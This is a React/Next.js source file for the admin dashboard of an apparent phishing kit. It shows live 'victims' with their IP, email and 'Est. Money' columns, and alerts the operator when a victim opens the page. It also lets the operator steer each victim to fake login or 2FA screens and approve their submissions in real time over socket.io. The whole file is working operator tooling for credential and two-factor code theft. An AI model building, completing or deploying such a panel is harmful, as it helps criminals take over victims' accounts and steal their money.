'use client'

import { useState, useEffect } from 'react'
import io, { Socket } from 'socket.io-client'
import {
  ColumnDef,
  ColumnFiltersState,
  SortingState,
  VisibilityState,
  flexRender,
  getCoreRowModel,
  getFilteredRowModel,
  getPaginationRowModel,
  getSortedRowModel,
  useReactTable
} from '@tanstack/react-table'
import {
  ArrowUpRight,
  Fingerprint,
  KeyRound,
  MoreHorizontal,
  ShieldIcon,
  Trash,
  UserRoundSearch
} from 'lucide-react'
import { Button } from '@/components/ui/button'
import {
  DropdownMenu,
  DropdownMenuContent,
  DropdownMenuItem,
  DropdownMenuLabel,
  DropdownMenuSeparator,
  DropdownMenuTrigger
} from '@/components/ui/dropdown-menu'
import { Input } from '@/components/ui/input'
import {
  Table,
  TableBody,
  TableCell,
  TableHead,
  TableHeader,
  TableRow
} from '@/components/ui/table'
import { DefaultEventsMap } from 'socket.io'
import { cn, TitleCaseWord } from '@/lib/utils'
import { useToast } from '@/hooks/use-toast'
import Link from 'next/link'
import { Card, CardContent } from '@/components/ui/card'
import { toast as noti } from "sonner"
import { useRouter } from 'next/navigation'

export type Client = {
  id: string
  ip: string
  state: string
  done: boolean
  licked: string
  approving: boolean
  status: 'online' | 'offline'
  country: string
  browser: string
  blocked: boolean
  data: Record<string, string>
}

type Stats = {
  online: number
  total: number
}

export default function Page() {
  const [clients, setClients] = useState<Client[]>([])
  const [stats, setStats] = useState<Stats>({ online: 0, total: 0 })
  const [sorting, setSorting] = useState<SortingState>([])
  const [columnFilters, setColumnFilters] = useState<ColumnFiltersState>([])
  const [columnVisibility, setColumnVisibility] = useState<VisibilityState>({})
  const [rowSelection, setRowSelection] = useState({})

  const columns: ColumnDef<Client>[] = [
    {
      id: 'status',
      invertSorting: true,
      cell: ({ row }) => (
        <div
          className={cn(
            row.original.blocked 
              ? 'bg-red-400' 
              : row.original.status === 'online' 
                ? 'bg-green-400' 
                : 'bg-gray-400',
            'w-4 h-4 rounded-full blur-[2px]'
          )}
        ></div>
      ),
    },    
    {
      accessorKey: 'ip',
      header: 'IP',
      maxSize: 40,
      cell: ({ row }) => <div>{row.getValue('ip')}</div>
    },
    {
      accessorKey: 'State',
      cell: ({ row }) => <div>{TitleCaseWord(row.original.state)}</div>
    },
    {
      accessorKey: 'email',
      header: () => <div className='text-left'>Email</div>,
      cell: ({ row }) => {
        const email = row.original.data['email']
        return (
          <div className={email ? '' : 'text-muted-foreground'}>
            {email || 'Empty'}
          </div>
        )
      }
    },
    {
      accessorKey: 'estmoney',
      header: () => <div className='text-left'>Est. Money</div>,
      cell: ({ row }) => {
        const passwd = row.original.data['estmoney']
        return (
          <div className={passwd ? '' : 'text-muted-foreground'}>
            {passwd || 'Empty'}
          </div>
        )
      }
    },

    {
      id: 'actions',
      enableHiding: false,
      cell: ({ row }) => {
        const client = row.original
        return (
          <DropdownMenu>
            <DropdownMenuTrigger asChild>
              <Button variant='ghost' className='h-8 w-8 p-0'>
                <span className='sr-only'>Open menu</span>
                <MoreHorizontal />
              </Button>
            </DropdownMenuTrigger>
            <DropdownMenuContent align='end'>
              <DropdownMenuLabel>Quick Actions</DropdownMenuLabel>
              <DropdownMenuSeparator />
              <DropdownMenuItem>
                <UserRoundSearch />
                <Link href={`/dashboard/${client.id}`}>View Details</Link>
              </DropdownMenuItem>
              <DropdownMenuItem onClick={() => handleBlock(client.id, !client.blocked)}>
                <ShieldIcon /> {client.blocked ? "Unblock" : "Block"}
              </DropdownMenuItem>
              <DropdownMenuItem
                onClick={() => handleChangeState(client.id, 'login')}
              >
                <KeyRound /> Login
              </DropdownMenuItem>
              <DropdownMenuItem
                onClick={() => handleChangeState(client.id, '2fa')}
              >
                <Fingerprint />
                2FA
              </DropdownMenuItem>
              <DropdownMenuItem
                onClick={() => socket?.emit('rmclient', { clientId: client?.id || "" })}
              >
                <Trash />
                Remove
              </DropdownMenuItem>
            </DropdownMenuContent>
          </DropdownMenu>
        )
      }
    }
  ]

  const table = useReactTable({
    data: clients,
    columns,
    onSortingChange: setSorting,
    onColumnFiltersChange: setColumnFilters,
    getCoreRowModel: getCoreRowModel(),
    getPaginationRowModel: getPaginationRowModel(),
    getSortedRowModel: getSortedRowModel(),
    getFilteredRowModel: getFilteredRowModel(),
    onColumnVisibilityChange: setColumnVisibility,
    onRowSelectionChange: setRowSelection,
    state: {
      sorting,
      columnFilters,
      columnVisibility,
      rowSelection
    }
  })
  const { toast } = useToast()
  const router = useRouter()

  const [socket, setSocket] = useState<Socket<
    DefaultEventsMap,
    DefaultEventsMap
  > | null>(null)

  useEffect(() => {
    const socketUrl =
      process.env.NEXT_PUBLIC_SOCKET_URL || 'http://localhost:8080'
    const newSocket = io(`${socketUrl}/admin`)
    setSocket(newSocket)

    newSocket.on("newVic", (clientId, nez) => {
      noti(`${nez ? "New" : "Existing"} victim connected`, {
        description: `A victim just opened the page`,
        action: {
          label: "See details",
          onClick: () => {router.push(`/dashboard/${clientId}`)},
        },
      })
    })
    
    newSocket.on('clientUpdate', updatedClients => {
      setClients(updatedClients)
    })

    newSocket.on('statsUpdate', rec => {
      setStats(rec)
    })

    newSocket.on('pendingApproval', (flow: Client) => {
      noti(`Pending approval`, {
        description: `Approve or deny the ${flow.state.split('_')[0]} request.`,
        action: {
          label: "See details",
          onClick: () => {router.push(`/dashboard/${flow.id}`)},
        },
      })
    })

    return () => {
      newSocket.close()
    }
  }, [])

  const handleBlock = (clientId: string, state: boolean) => {
    toast({
      title: "Done!",
      description: `Successfully ${state ? "blocked" : "unblocked"} client`
    })
    socket?.emit('blockClient', clientId, state)
  }

  const handleChangeState = (clientId: string, newState: string) => {
    socket?.emit('changeClientState', { clientId, newState })
  }
  return (
    <div className='w-full'>
      <div className='flex w-full flex-row gap-4 p-5'>
        <Card className='w-full md:w-1/3 lg:w-1/4 relative overflow-hidden'>
          <CardContent className='pt-5 flex flex-col items-start'>
            <p className='text-sm text-muted-foreground'>Online Victims</p>
            <div className='flex flex-row items-center justify-center'>
              <h2 className='text-cbsans text-3xl mr-2'>{stats.online}</h2>
              <ArrowUpRight className='w-5 h-5 -mt-2' />
            </div>
          </CardContent>
          <div className='absolute w-[200px] h-[200px] blur-3xl bg-green-400 rounded-full'></div>
        </Card>
        <Card className='w-full md:w-1/3 lg:w-1/4 relative overflow-hidden'>
          <CardContent className='pt-5 flex flex-col items-start'>
            <p className='text-sm text-muted-foreground'>Total Victims</p>
            <div className='flex flex-row items-center justify-center'>
              <h2 className='text-cbsans text-3xl mr-2'>{stats.total}</h2>
              <ArrowUpRight className='w-5 h-5 -mt-2' />
            </div>
          </CardContent>
          <div className='absolute w-[200px] h-[200px] blur-3xl bg-blue-400 rounded-full'></div>
        </Card>
        {/* <Card className='w-1/3 relative overflow-hidden'>
          <CardContent className='pt-5 flex flex-col items-start'>
            <p className='text-sm text-muted-foreground'>Awaiting</p>
            <div className='flex flex-row items-center justify-center'>
              <h2 className='text-cbsans text-3xl mr-2'>{stats.online}</h2>
            </div>
          </CardContent>
          <div className='absolute w-[200px] h-[200px] blur-3xl bg-yellow-400 rounded-full'></div>
        </Card> */}
      </div>
      <div className='w-full px-5'>
        <div className='flex items-center py-4'>
          <Input
            placeholder='Filter IPs...'
            value={(table.getColumn('ip')?.getFilterValue() as string) ?? ''}
            onChange={event =>
              table.getColumn('ip')?.setFilterValue(event.target.value)
            }
            className='max-w-xs h-9'
          />
        </div>
        <div className='rounded-md border'>
          <Table>
            <TableHeader>
              {table.getHeaderGroups().map(headerGroup => (
                <TableRow key={headerGroup.id}>
                  {headerGroup.headers.map(header => (
                    <TableHead key={header.id}>
                      {header.isPlaceholder
                        ? null
                        : flexRender(
                          header.column.columnDef.header,
                          header.getContext()
                        )}
                    </TableHead>
                  ))}
                </TableRow>
              ))}
            </TableHeader>
            <TableBody>
              {table.getRowModel().rows?.length ? (
                table.getRowModel().rows.map(row => (
                  <TableRow
                    key={row.id}
                    data-state={row.getIsSelected() && 'selected'}
                  >
                    {row.getVisibleCells().map(cell => (
                      <TableCell key={cell.id}>
                        {flexRender(
                          cell.column.columnDef.cell,
                          cell.getContext()
                        )}
                      </TableCell>
                    ))}
                  </TableRow>
                ))
              ) : (
                <TableRow>
                  <TableCell
                    colSpan={columns.length}
                    className='h-24 text-center'
                  >
                    No results.
                  </TableCell>
                </TableRow>
              )}
            </TableBody>
          </Table>
        </div>
        <div className='flex items-center justify-end space-x-2 py-4'>
          <div className='flex-1 text-sm text-muted-foreground'>
            {table.getFilteredSelectedRowModel().rows.length} of{' '}
            {table.getFilteredRowModel().rows.length} row(s) selected.
          </div>
          <div className='space-x-2'>
            <Button
              variant='outline'
              size='sm'
              onClick={() => table.previousPage()}
              disabled={!table.getCanPreviousPage()}
            >
              Previous
            </Button>
            <Button
              variant='outline'
              size='sm'
              onClick={() => table.nextPage()}
              disabled={!table.getCanNextPage()}
            >
              Next
            </Button>
          </div>
        </div>
      </div>
    </div>
  )
}
